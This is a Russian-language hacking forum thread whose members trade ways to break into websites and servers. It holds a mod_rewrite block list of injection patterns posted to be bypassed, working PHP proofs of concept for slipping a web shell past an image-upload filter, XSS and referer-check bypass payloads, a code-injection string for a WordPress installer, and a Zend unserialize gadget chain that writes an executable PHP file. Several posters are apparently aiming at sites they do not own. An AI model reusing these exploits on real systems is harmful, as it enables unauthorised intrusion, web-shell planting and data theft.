RewriteCond %{THE_REQUEST} (%0A|%0D) [NC,OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC,OR]
RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC,OR]
RewriteCond %{QUERY_STRING} (\.\./|\.\.) [OR]
RewriteCond %{QUERY_STRING} ftp\: [NC,OR]
RewriteCond %{QUERY_STRING} http\: [NC,OR]
RewriteCond %{QUERY_STRING} https\: [NC,OR]
RewriteCond %{QUERY_STRING} \=\|w\| [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)/self/(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)cPath=http://(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*iframe.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^i]*i)+frame.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [NC,OR]
RewriteCond %{QUERY_STRING} base64_(en|de)code[^(]*\([^)]*\) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|<|>).* [NC,OR]
RewriteCond %{QUERY_STRING} (NULL|OUTFILE|LOAD_FILE) [OR]
RewriteCond %{QUERY_STRING} (\./|\../|\.../)+(motd|etc|bin) [NC,OR]
RewriteCond %{QUERY_STRING} (localhost|loopback|127\.0\.0\.1) [NC,OR]
RewriteCond %{QUERY_STRING} (<|>|'|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
RewriteCond %{QUERY_STRING} concat[^\(]*\( [NC,OR]
RewriteCond %{QUERY_STRING} union([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} union([^a]*a)+ll([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} (;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|drop|delete|update|cast|cre ate|char|convert|alter|declare|order|script|set|md 5|benchmark|encode) [NC,OR]
RewriteCond %{QUERY_STRING} (sp_executesql) [NC]
RewriteRule ^(.*)$ - [F,L]
#######
# END #
#######
Как обойти?

NameSpace
21.08.2015, 01:04
QUERY_STRING не проходит urldecode (и по техническим особенностям никогда не сможет цельно его пройти), вы можете передать закодированный запрос. Фильтр на SQL-injection обойдется. С одинарной кавычкой проблемы останутся, их можно решить в некоторых частных случаях.

Альтернатива - обход mod_rewrite целиком, векторов сейчас нет.

nikp
21.08.2015, 10:02
Альтернатива - обход mod_rewrite целиком, векторов сейчас нет.
Упс, после НГ запускал задание, в котором нужно было решить аналогичную задачу.
Многие ее решили, в т.ч. и ты.

Просил не спускать пока решение в паблик.
Но самостоятельно его может поискать каждый.

Смысл такой, в mod_rewrite, можно легко обойти конструкции вида
RewriteCond любое условие [NC,OR]
...
RewriteCond любое условие [NC]
RewriteRule ^(.*)$ index.php [L]

Вебмастерам тоже об этом нужно помнить.

Кстати, не только mod_rewrite, но и другие модули Апача (как нашел Стрелочка) страдают реализацией таких регулярок.

NameSpace
23.08.2015, 01:09
Да, вот так жестоко. В безопасности отсутствует НЕТ. Есть невозможно в настоящее время, векторы отсутствуют, etc

mikhailtpm
24.08.2015, 12:23
По вп такой вопрос, есть бэкап файла wp-config. Порт mysql зафильтрован, так что по порту к бд не подключится. Проверил на плагины, все чисто. phpmyadmin-а тоже нет. Регистрация новых юзеров запрещена. Логин админа известен. Можно ли как-то авторизоваться с помощью имеющихся данных, например этих:

define('AUTH_KEY', 'IL0=2RzHaf3D )!1fpRt');
define('SECURE_AUTH_KEY', 'E2-frP(sOgSwssam=4 j');
define('LOGGED_IN_KEY', '-JkVM6wL1a_QkyIr+=k3');
define('NONCE_KEY', '&97XwFvs%7y=RE+*C%xr');
define('AUTH_SALT', '+W9=gg+Zz-15d1w0n1@-');
define('SECURE_AUTH_SALT', '(Z=C0a-HYtMsMJZ3YyBg');
define('LOGGED_IN_SALT', 'srY0kJymOnf FOS7YqJE');
define('NONCE_SALT', 'Pnyr+UWqp!rK@X79B0*-');


Есть вариант брутить через xml rpc, но долговато, может вариант другой есть?

AiR0
24.08.2015, 14:19
смотерть соседей, у них искать phpmyadmin

hakwar
01.09.2015, 14:12
Прошу помощи.
Есть доступ к админке и базе данных.Пытаюсь залить шелл через загрузку картинок.Обычная картинка загружается без проблем и через tamper data расширение без проблем меняется на php.
Если в картинку вставить php код то ничего не загружается.Фильтрует где то php код <?php. И записывает лог в базу данных.Пробовал <?= все равно не загружает.Помогите советом как обойти фильтр куда копать и что делать. Шелл обфусцирован но вначале стоит <?php из за этого и не пропускает.Помогите советом

dharrya
01.09.2015, 22:09
Прошу помощи.
Есть доступ к админке и базе данных.Пытаюсь залить шелл через загрузку картинок.Обычная картинка загружается без проблем и через tamper data расширение без проблем меняется на php.
Если в картинку вставить php код то ничего не загружается.Фильтрует где то php код <?php. И записывает лог в базу данных.Пробовал <?= все равно не загружает.Помогите советом как обойти фильтр куда копать и что делать. Шелл обфусцирован но вначале стоит <?php из за этого и не пропускает.Помогите советом

Подробностей маловато:(
Первое что приходит на ум:

Загрузить модифицированное изображение _без_ php кода вообще, м.б. ты не правильно дописываешь код и валится не на PHP-теге а на валидации изображения в целом. Можно для начала попробовать самый тупой вариант с "GIF89lalalalala"
Если все ОК и изображение с правками загрузилось, то попробуй минимальный вариант PHP-кода "<?php __halt_compiler();". Быть может он реагирует и не на PHP-теги вовсе.
Если выяснилось, что ты правильно модифицируешь изображение, но как только в нем встречаются T_OPEN_TAG/T_OPEN_TAG_WITH_ECHO получаешь отлуп - попробуй вместо <?php ?> воспользоваться HTML-like вариантом:
<script language = php>die('test');</script>

dharrya
01.09.2015, 22:35
Если выяснилось, что ты правильно модифицируешь изображение, но как только в нем встречаются T_OPEN_TAG/T_OPEN_TAG_WITH_ECHO получаешь отлуп
Если и HTML-like вариант не помог (он, правда, выпилен в PHP7, но его на продакшене пока не встретить) и очень-очень повезло (zend.multibyte=On) - можно попробовать закодировать в UTF-32. На этом обычно, глупые валидации на наличие PHP-кода в файлах отлетают, но встретить "zend.multibyte=On" это большая удача.

hakwar
01.09.2015, 22:50
Подробностей маловато:(
Первое что приходит на ум:

Загрузить модифицированное изображение _без_ php кода вообще, м.б. ты не правильно дописываешь код и валится не на PHP-теге а на валидации изображения в целом. Можно для начала попробовать самый тупой вариант с "GIF89lalalalala"
Если все ОК и изображение с правками загрузилось, то попробуй минимальный вариант PHP-кода "<?php __halt_compiler();". Быть может он реагирует и не на PHP-теги вовсе.
Если выяснилось, что ты правильно модифицируешь изображение, но как только в нем встречаются T_OPEN_TAG/T_OPEN_TAG_WITH_ECHO получаешь отлуп - попробуй вместо <?php ?> воспользоваться HTML-like вариантом:
<script language = php>die('test');</script>

Не пропускает <?php у него в скрипте зарузки картинок прописано это
if (false != imagecreatefromstring($img) && stripos($img, '<?php') === false
то есть если в коде встречается <?php то не пропускает
Как это обойти?

Вот часть этого кода
if (!empty($filesArray['name'])) {

foreach ($filesArray['name'] as $key => $name) {

if (

!empty($name) &&

!empty($_FILES['image']['type'][$key]) &&

!empty($_FILES['image']['tmp_name'][$key]) &&

isset($_FILES['image']['error'][$key]) && !$_FILES['image']['error'][$key] &&

!empty($_FILES['image']['size'][$key])

) {

$img = file_get_contents($_FILES['image']['tmp_name'][$key]);



if (false != imagecreatefromstring($img) && stripos($img, '<?php') === false) {

$file = array(

'name' => $name,

'type' => $_FILES['image']['type'][$key],

'tmp_name' => $_FILES['image']['tmp_name'][$key],

'error' => $_FILES['image']['error'][$key],

'size' => $_FILES['image']['size'][$key],

);

$tmp = explode('.', strtolower($file['name']));

$attachExt = $tmp[sizeOf($tmp) - 1];

if (tep_not_null($file['tmp_name']) && $file['tmp_name'] != 'none' && is_uploaded_file($file['tmp_name'])) {

$newName = $requestId . '-' . rand(0, 1000) . time() . '.' . $attachExt;

$dir = DIR_FS_RESHIP_IMAGES . date('Y');

if (!is_dir($dir)) {

mkdir($dir);

}

if (move_uploaded_file($file['tmp_name'], $dir . '/' . $newName)) {

@chmod($dir . '/' . $newName, 0644);

$fileNames[] = str_replace(DIR_FS_CATALOG, '', $dir . '/' . $newName);

} else {

dharrya
01.09.2015, 23:16
Не пропускает <?php у него в скрипте зарузки картинок прописано это
if (false != imagecreatefromstring($img) && stripos($img, '<?php') === false
то есть если в коде встречается <?php то не пропускает
Как это обойти?

Как я и говорил - использовать html-like синтаксис ( https://secure.php.net/manual/ru/language.basic-syntax.phpmode.php ).
PoC:
Тестовый код:
<?php

$gifImage = base64_decode('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==');
$phpCode = '<script language = php>die("\nYahooo");</script>';

$testFile = 'test';
file_put_contents($testFile, $gifImage.$phpCode);

$img = file_get_contents($testFile);
$isOk = (false != imagecreatefromstring($img) && stripos($img, '<?php') === false);

if ($isOk) {
include $testFile;
}


В действии:

$ php -f test.php
GIF89a����!�,D;
Yahooo


Т.е. вместо <?php ?> просто используй <script language=php>_CODE_</script>

HeartLESS
02.09.2015, 09:45
или short tags..

dharrya
02.09.2015, 10:00
Тогда уж и asp tags, на удачу:) Правда, я так ни разу и не увидел их включенными.
Ну а по сабжу, имхо, наиболее устойчивые к конфигурации варианты:

<?php
<script language=php> - доступен всегда до PHP 7
<?= - доступен всегда начиная с PHP 5.4

Кстати, если вдруг встретится zend.multibyte=On, то можно и так:
<?php
$phpCode = '<?php die("\nYahoo");';

$payload = "\x00\x00\x01\x01";
$payload .= "\x00\x00\x00".join("\x00\x00\x00", str_split($phpCode));

$testFile = 'test';
file_put_contents($testFile, $payload);

$img = file_get_contents($testFile);
$isOk = (false != imagecreatefromstring($img) && stripos($img, '<?php') === false);

if ($isOk) {
include $testFile;
}
В действии:

# Без zend.multibyte (по дефолту)
$ php -dzend.multibyte=Off -f test.php
<?php die("\nYahoo");

# Удача, zend.multibyte=On
$ php -dzend.multibyte=On -f test.php
ā
Yahoo

crlf
29.09.2015, 14:41
Помогите найти вектор для проведения XSS в скрытом input. События не срабатывают.

<input type="hidden" name="input" value=XSS >

Знаки < и > вырезаются.

wwwebaudit
30.09.2015, 11:36
Не получится. Вас спасет только обход WAF. Вы пробовали применить хотя-бы простые варианты, например < > заменять на %3C %3E ?

Boolean
30.09.2015, 12:29
Можно попробовать повторно переопределить аттрибут type на image. Но такой способ работать будет только в старых IE.

crlf
30.09.2015, 16:37
Не получится. Вас спасет только обход WAF. Вы пробовали применить хотя-бы простые варианты, например < > заменять на %3C %3E ?

Да, и двойное кодирование тоже. Насчёт WAF не понял :(

Можно попробовать повторно переопределить аттрибут [i]type[i] на image. Но такой способ работать будет только в старых IE.

Спасибо за наводку, не знал об этом. Ещё для IE <11 подходит вариант style="xss:expression(alert(1))". Но мне под FF желательно накопать.

NameSpace
01.10.2015, 00:59
Насчёт WAF не понял :(
WAF - Web Application Firewall. В вашем случае понятие WAF - совокупность фильтров.

Для превращения данной недостаточной фильтрации в XSS, необходимы события (если символы > и < не удастся прокинуть). Не очень понятно, каким именно образом события вырезаются.

Попробуйте определить алгоритм фильтра и описать его, примените различные варианты кодирования. Типовые обходы:

oonloadnload="x"
aaa onload="x"
%100+onload="x"
Где onload - пример события. Посмотрите таблицу возможных событий, проверьте существующие и несуществующие.

Если вас интересует только FF, не забудьте о существовании CSS свойства -moz-binding.

crlf
01.10.2015, 09:19
WAF - Web Application Firewall. В вашем случае понятие WAF - совокупность фильтров.


Понял, мне казалось это нечто большее чем регулярка.


Не очень понятно, каким именно образом события вырезаются.


События не вырезаются, они просто не срабатывают на поле с типом hidden. Пробовал все подходящие отсюда: http://www.w3schools.com/tags/ref_eventattributes.asp. В том числе и для HTML5.

Если вас интересует только FF, не забудьте о существовании CSS свойства -moz-binding.

Можете привести свой пример? Вот этот http://help.dottoro.com/lcxlpaqh.php у меня в FF 40.0 не работает. Так же как и это:

<input type="hidden" name="input" value="test" style="-moz-binding:url(http://localhost/test.xml#test);">

Смотрю по логам, обращения к test.xml нет. Возможно я что-то напутал?

NameSpace
01.10.2015, 11:13
События не вырезаются, они просто не срабатывают на поле с типом hidden. Пробовал все подходящие отсюда: http://www.w3schools.com/tags/ref_eventattributes.asp. В том числе и для HTML5.
Сорри, почему-то не заметил код. Как вариант - посмотреть работу JavaScript с элементами на странице. Возможно имеются массовые обращения к ним по id или class.
Можете привести свой пример? Вот этот http://help.dottoro.com/lcxlpaqh.php у меня в FF 40.0 не работает.
К сожалению работает только в старых версиях FF.

Faaax
07.10.2015, 20:58
вроде есть исполнение кода,помогите разобраться как его исполнить

<?php
$admin_old_login = 'superadmin';
$url_in = preg_replace('/^http:\/\/(.+)\/?/',"$1", trim($_POST['url']));
$url_in = rtrim($url_in, '/');
$msg = '';
if (isset($_POST['url'])) {$url_in = 'http://'.$url_in; $u = 0;} else {$url_in = 'http://site.ru'; $u = 1;}
if (isset($_POST['email'])) {$email_in = $_POST['email']; $e = 0;} else {$email_in = 'name@email.ru'; $e = 1;}
if (isset($_POST['db'])) {$db = $_POST['db']; $d = 0;} else {$db = 'database'; $d = 1;}
if (isset($_POST['db_user'])) {$db_user = $_POST['db_user']; $du = 0;} else {$db_user = 'username'; $du = 1;}
if (isset($_POST['db_pas'])) {$db_pas = $_POST['db_pas']; $dp = 0;} else {$db_pas = 'password'; $dp = 1;}
if (isset($_POST['host'])) {$host = $_POST['host']; $h = 0;} else {$host = 'localhost'; $h = 1;}
if (isset($_POST['prefix'])) {$prefix = $_POST['prefix']; $p = 0;} else {$prefix = 'eb_'; $p = 1;}
if (isset($_POST['adm_new_login'])) {$admin_new_login = $_POST['adm_new_login']; $al = 0;} else {$admin_new_login = 'superadmin'; $al = 1;}
if (isset($_POST['adm_new_password'])) {$admin_new_password = $_POST['adm_new_password']; $ap = 0;} else {$admin_new_password = 'NclCyAuw'; $ap = 1;}
if ($_GET['del'] == 1)
{
@unlink ('updater.php');
header('Location: index.php');
}

if (isset($_POST['Submit']))
{
if (!isset($_GET['step']) OR $_GET['step'] == 1)
{
$file = file_get_contents('wp-config.php');
if ($file == '')
{
$msg .= '<p style="color:red;">&mdash; Не удалось открыть файл wp-config.php. Установите права 777 на файл wp-config.php.</p>';
}

$file = preg_replace("/(define\('DB_NAME', ')(.+)('\);)/u", '${1}'.str_replace('\\','\\\\',$db).'${3}', $file);
$file = preg_replace("/(define\('DB_USER', ')(.+)('\);)/u", '${1}'.str_replace('\\','\\\\',$db_user).'${3}', $file);
$file = preg_replace("/(define\('DB_PASSWORD', ')(.+)('\);)/u", '${1}'.str_replace('\\','\\\\',$db_pas).'${3}', $file);
$file = preg_replace("/(define\('DB_HOST', ')(.+)('\);)/u", '${1}'.str_replace('\\','\\\\',$host).'${3}', $file);
$file = preg_replace("/($table_prefix = ')(.+)(';)/u", '${1}'.str_replace('\\','\\\\',$prefix).'${3}', $file);

if (!file_put_contents('wp-config.php',$file))
{
$msg .= '<p style="color:red;">&mdash; Не удалось перезаписать файл wp-config.php. Установите права 777 на файл wp-config.php.</p>';
}
else
{
header('Location: updater.php?step=2');
}
}
elseif ($_GET['step'] == 2)
{
$uploadfile = 'wp-content/uploads/'.basename($_FILES['dump_db']['name']);
if (!move_uploaded_file($_FILES['dump_db']['tmp_name'], $uploadfile))
{
$msg .= '<p style="color:red;">&mdash; Не удалось загрузить файл базы данных.</p>';
}
else
{
$file_sql = file($uploadfile); //var_dump($file_sql);
require_once 'wp-config.php';
global $wpdb;
foreach ($file_sql as $n => $l) if (substr($l,0,2)=='--') unset($file_sql[$n]);
$file_sql = explode(";\n",implode("\n",$file_sql));
unset($file_sql[count($file_sql)-1]);
foreach ($file_sql as $q) {if ($q) {$wpdb->query($q);}}
header('Location: updater.php?step=3');
}
}
else
{
if (!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL, FILTER_FLAG_SCHEME_REQUIRED))
{
$msg .= '<p style="color:red;">&mdash; Неправильный формат E-mail</p>';
}

if ($msg == '')
{
require_once 'wp-config.php';
global $wpdb;
$admin_new_password_hash = wp_hash_password($admin_new_password);
$wpdb->query("UPDATE eb_options SET option_value = replace(option_value, '{$url_from}', '{$url_in}') WHERE option_name = 'home' OR option_name = 'siteurl';");
$wpdb->query("UPDATE eb_posts SET guid = replace(guid, '{$url_from}','{$url_in}');");
$wpdb->query("UPDATE eb_posts SET post_content = replace(post_content, '{$url_from}', '{$url_in}');");
$wpdb->query("UPDATE eb_options SET option_value = '{$email_in}' where option_value like '{$email_from}';");
$wpdb->query("update eb_users set user_email = '{$email_in}', user_login = '{$admin_new_login}', user_nicename = '{$admin_new_login}', user_pass = '{$admin_new_password_hash}' where user_email like '{$email_from}';");
$wpdb->query("update eb_usermeta set meta_value = '{$admin_new_login}' where meta_value like '{$admin_old_login}';");

/*$email_from = 's:' . strlen($email_from) . ':"' . $email_from . '"';
$email = 's:' . strlen($email_in) . ':"' . $email_in . '"';
$wpdb->query('update eb_contact_form_7 set mail = replace(mail,\'' . $email_from . '\',\'' . $email . '\') where mail like \'%' . $email_from . '%\';');
$wpdb->query('update eb_postmeta set meta_value = replace(meta_value,\'' . $email_from . '\',\'' . $email . '\') where meta_value like \'%' . $email_from . '%\';');*/
$msg .= '<p style="font-weight:bold;">Инсталяция завершена успешно.<br />
Внимание! Нажмите для <a href="updater.php?del=1">удаления инсталятора</a>.<br />
</p>';
}
}
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="ru-RU" xml:lang="ru-RU">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Установка</title>
<link rel='stylesheet' id='buttons-css' href='wp-includes/css/buttons.min.css?ver=3.5' type='text/css' media='all' />
<link rel='stylesheet' id='install-css' href='wp-admin/css/install.min.css?ver=3.5' type='text/css' media='all' />
</head>
<body class="wp-core-ui">


<h1>Добро пожаловать</h1>
<p>Добро пожаловать в установку программного обеспечения!</p>

<form id="setup" method="post" enctype="multipart/form-data" action="updater.php<?if (isset($_GET['step']) AND in_array($_GET['step'],array(1,2,3))) {echo '?step='.$_GET['step'];}?>">
<?if (!isset($_GET['step']) OR $_GET['step'] == 1) {?>
<h1>Подключение к базе данных</h1>
<table class="form-table">
<tr>
<th scope="row"><label for="db">Имя базы данных</label></th>
<td>
<input name="db" type="text" id="db" size="25" value="<?php echo $db;?>"<?if ($d == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
<p>Имя базы данных, в которую вы хотите установить продукт.</p>
</td>
</tr>
<tr>
<th scope="row"><label for="email">Имя пользователя</label></th>
<td>
<input name="db_user" type="text" id="db_user" size="25" value="<?php echo $db_user;?>"<?if ($du == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
<p>Имя пользователя MySQL.</p>
</td>
</tr>
<tr>
<th scope="row"><label for="db_pas">Пароль</label></th>
<td>
<input name="db_pas" type="text" id="db_pas" size="25" value="<?php echo $db_pas;?>"<?if ($dp == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
<p>Пароль пользователя MySQL.</p>
</td>
</tr>
<tr>
<th scope="row"><label for="host">Сервер базы данных</label></th>
<td>
<input name="host" type="text" id="host" size="25" value="<?php echo $host;?>"<?if ($h == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
<p>Если localhost не работает, нужно узнать правильный адрес в службе поддержки хостинг-провайдера.</p>
</td>
</tr>
<!--<tr>
<th scope="row"><label for="prefix">Префикс</label></th>
<td>
<input name="prefix" type="text" id="prefix" size="25" value="<?php echo $prefix;?>"<?if ($p == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
<p>Введите префикс таблиц, который используется в дампе базы данных. По-умолчанию используйте префик "eb_".</p>
</td>
</tr>-->
</table>
<p class="step"><input type="submit" name="Submit" value="Обновить конфиг" class="button button-large" /> <input type="button" name="next" value="Пропустить этот шаг" class="button button-large" onclick="document.location='updater.php?step=2';" /></p>
<p>Если доступы к базе данных уже введены вручную, пропустите этот шаг</p>
<?}
elseif ($_GET['step'] == 2)
{
?>
<h1>Импорт базы данных</h1>
<table class="form-table">
<tr>
<th scope="row"><label for="dump_db">Дамп базы данных</label></th>
<td>
<input name="dump_db" type="file" id="dump_db" size="25" />
<p>Выберете дамп базы данных с вашего компьютера для импорта.</p>
</td>
</tr>
</table>
<p class="step"><input type="submit" name="Submit" value="Импортировать базу данных" class="button button-large" /> <input type="button" name="last" value="Вернуться назад" class="button button-large" onclick="document.location='updater.php?step=1';" /> <input type="button" name="next" value="Пропустить этот шаг" class="button button-large" onclick="document.location='updater.php?step=3';" /></p>
<?
}
else
{?>
<h1>Требуется информация</h1>
<table class="form-table">
<tr>
<th scope="row"><label for="user_name">URL сайта</label></th>
<td>
<input name="url" type="text" id="url" size="25" value="<?php echo $url_in;?>"<?if ($u == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
<p>Укажите адрес вашего домена с http// или без. Аналогично примеру.</p>
</td>
</tr>
<tr>
<th scope="row"><label for="email">Ваш e-mail</label></th>
<td>
<input name="email" type="text" id="email" size="25" value="<?php echo $email_in;?>"<?if ($e == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
<p>Укажите ваш электорнный адрес, на него будет приходить вся корреспонденция с сайта. Аналогично примеру.</p>
</td>
</tr>
<tr>
<th scope="row"><label for="adm_new_login">Логин администратора</label></th>
<td>
<input name="adm_new_login" type="text" id="adm_new_login" size="25" value="<?php echo $admin_new_login;?>"<?if ($al == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
<p>Укажите логин администратора для входа в систему управления.</p>
</td>
</tr>
<tr>
<th scope="row"><label for="adm_new_password">Пароль администратора</label></th>
<td>
<input name="adm_new_password" type="text" id="adm_new_password" size="25" value="<?php echo $admin_new_password;?>"<?if ($ap == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
<p>Укажите пароль администратора для входа в систему.</p>
</td>
</tr>
</table>
<p class="step"><input type="submit" name="Submit" value="Установить" class="button button-large" /> <input type="button" name="last" value="Вернуться назад" class="button button-large" onclick="document.location='updater.php?step=2';" /></p>
<?}?>

<?php echo $msg;?>
</form>
</body>
</html>

c411k
08.10.2015, 01:27
вроде есть исполнение кода,помогите разобраться как его исполнить

зачем тебе?

1. если mq off, то можно перезаписать wp-config.php
POST updater.php
Submit=1&prefix=zzz'; phpinfo();//

2. а проще залить свой файл в папку ./wp-content/uploads/phpinfo.php

updater.php?step=2

Faaax
08.10.2015, 09:27
За перезапись всё равно спасибо,проглядел
сразу не залить стоит чмод.
мля и конфиг не перезаписать

Sharingan
13.10.2015, 16:50
Мониторил список серверов X-Spiderом, нашел уязвимость в циске:
Найдена учетная запись : public
Информация : Cisco IOS Software, 2800 Software (C2800NM-SPSERVICESK9-M), Version 12.4(3f), RELEASE SOFTWARE (fc3)

Кто может подсказать что это может дать?

testo
14.10.2015, 11:37
Мониторил список серверов X-Spiderом, нашел уязвимость в циске:
Найдена учетная запись : public
Информация : Cisco IOS Software, 2800 Software (C2800NM-SPSERVICESK9-M), Version 12.4(3f), RELEASE SOFTWARE (fc3)

Кто может подсказать что это может дать?

возможно snmp community. если так, то есть возможность посмотреть стату по железке и некоторые настройки.

crlf
21.10.2015, 02:19
Есть XSS, выводится при отправке таких заголовков:


XSS --><script>alert(document.cookie);#<!-- / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0
Host: www.site.com
Accept: */*


Возможно ли перенаправить юзера c зарание подготовленной страницы таким образом?

NameSpace
21.10.2015, 04:11
Если same-origin policy стоит стандартная, то вам не получится отправить на другой домен ничего, кроме GET, POST и OPTIONS запросов.

crlf
21.10.2015, 15:00
Потестил немного, выяснил что подойдёт GET и POST. Главное чтобы начального слеша не было GET /--><script>alert(document.cookie);#<!-- HTTP/1.1.

NameSpace
21.10.2015, 22:34
Увы, без начального слэша нельзя. Как понимаю, XSS-ка на странице ошибки? Попробуйте вызвать её другими методами: 404 (страница не существует), 403 (доступ запрещен), 414 (длинный URL), 413 (большой запрос), 431 (Большой заголовок, к примеру Referer) и пр.

crlf
21.10.2015, 23:40
Пробовал, работает только без слеша. Как я понял, если слеша нет отрабатывает один обработчик, иначе другой, который кодирует цсску в хтмл сущности. Спасибо за ответы и советы, попробую дальше покопать.

crlf
28.10.2015, 00:12
Имеется свежий PHP, CMS с использованием Zend и не фильтруемый unserialize. Помогите найти актуальный RCE вектор.

Нагуглил вариант с нулл-байтом (http://www.openwall.com/lists/oss-security/2014/04/14/4), но он работает только на PHP <= 5.3.3 :(

errnick2
29.10.2015, 08:26
помогите советом как залить шелл имея админку с ckeditor 3.4.1 (ckfinder.html) аплоадер который конвертирует и переименовывает файлы вида gallery_photo_1352189745_5098c7319b29b.jpg инклудов не нашел

crlf
29.10.2015, 11:11
Имеется свежий PHP, CMS с использованием Zend и не фильтруемый unserialize. Помогите найти актуальный RCE вектор.

Нагуглил вариант с нулл-байтом (http://www.openwall.com/lists/oss-security/2014/04/14/4), но он работает только на PHP <= 5.3.3 :(

Немного подправил, теперь работает на свежих PHP. RCE только для Apache с "AddHandler php5-script .php" .


<?php
class Zend_Search_Lucene_Index_FieldInfo
{
public $name = '<?php phpinfo(); ?>';
}

class Zend_Search_Lucene_Storage_Directory_Filesystem
{
protected $_dirPath = null;

public function __construct($path)
{
$this->_dirPath = $path;
}
}

interface Zend_Pdf_ElementFactory_Interface {}

class Zend_Search_Lucene_Index_SegmentWriter_StreamWrite r implements Zend_Pdf_ElementFactory_Interface
{
protected $_docCount = 1;
protected $_name = 'test.php';
protected $_directory;
protected $_fields;
protected $_files;

public function __construct($directory, $fields)
{
$this->_directory = $directory;
$this->_fields = array($fields);
$this->_files = new stdClass;
}
}

class Zend_Pdf_ElementFactory_Proxy
{
private $_factory;

public function __construct(Zend_Pdf_ElementFactory_Interface $factory)
{
$this->_factory = $factory;
}
}

$directory = new Zend_Search_Lucene_Storage_Directory_Filesystem("/var/www/");
$__factory = new Zend_Search_Lucene_Index_SegmentWriter_StreamWrite r($directory, new Zend_Search_Lucene_Index_FieldInfo);
$____proxy = new Zend_Pdf_ElementFactory_Proxy($__factory);

echo urlencode(serialize(array($____proxy)));

?>


Создаёт файл /var/www/test.php.fnm

SynQ
29.10.2015, 11:37
crlf
Молодец! Это для какого зенда - первого или второго?
Видел еще новый способ в блоге d0znpp, но потом он его удалил.

crlf
29.10.2015, 11:58
SynQ, забыл написать, тестил на Zend Framework 1.12.16

Tim
01.11.2015, 00:07
Вопрос, как выйти из Jail?
FreeBSD 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r25319: Mon Jul 15 CEST 2013 /usr/obj/usr/src/sys/LG amd64

Рут добывается с помощью http://pastebin.com/mvrVAtJw
https://rdot.org/forum/showthread.php?t=2775

Molofya
01.11.2015, 03:30
Имеется POST XSS дырка самая простейшая:
test.ru/script.html
POST:
search=123"><h1>XSS</h1>

Все бы ничего, но при таком POST запросе сайт проверяет наличие рефа, и чтобы обязательно там был test.ru (левые домены не катят).
Вопрос. При таких условиях возможно провести XSS атаку, или в данном случае вариантов проэксплуатировать уязвимость нету?

NameSpace
01.11.2015, 14:45
Имеется POST XSS дырка самая простейшая:
test.ru/script.html
POST:
search=123"><h1>XSS</h1>

Все бы ничего, но при таком POST запросе сайт проверяет наличие рефа, и чтобы обязательно там был test.ru (левые домены не катят).
Вопрос. При таких условиях возможно провести XSS атаку, или в данном случае вариантов проэксплуатировать уязвимость нету?

http://test.ru.qwerty.ru/
http://test.ru.qwerty.ru:81//test.ru/
http://test.ru.qwerty.ru/%0A/
http://test.ru._qwerty.ru/
http://qwerty.ru/test.ru/
http://qwerty.ru/http://test.ru/
http://qwerty.ru/%0Ahttp://test.ru/
http://test.ru:1@qwerty.ru/
http://www:test.ru@qwerty.ru/
ftp://qwerty.ru/
etc
Попытайтесь определить алгоритм. Поэксплуатировать можно только случае, если запрос работает без Referer, вы можете обойти валидацию или имеете внутренний Redirect (когда параметр можно передать через GET).

crlf
06.11.2015, 17:15
Существует ли возможность в PHP, при LFI/RFD на Windows, обратиться к файлу на другом диске?

crlf
08.11.2015, 15:17
Существет возможность инициировать mysql соединение (на подконтрольный хост) средствами PHP. Есть ли какие-то техники для эксплуатации багов в PHP модуле mysql? Другими словами, что можно вредоносного ответить при подключении? :)


